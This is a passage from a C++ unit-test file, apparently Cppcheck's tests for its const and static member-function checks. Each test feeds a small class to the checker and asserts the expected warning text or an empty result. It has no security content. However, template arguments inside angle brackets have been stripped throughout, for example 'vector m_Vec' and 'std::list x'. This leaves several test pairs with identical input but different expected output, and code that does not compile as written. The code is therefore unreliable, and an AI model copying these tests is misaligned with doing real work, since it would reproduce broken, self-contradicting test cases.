m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n 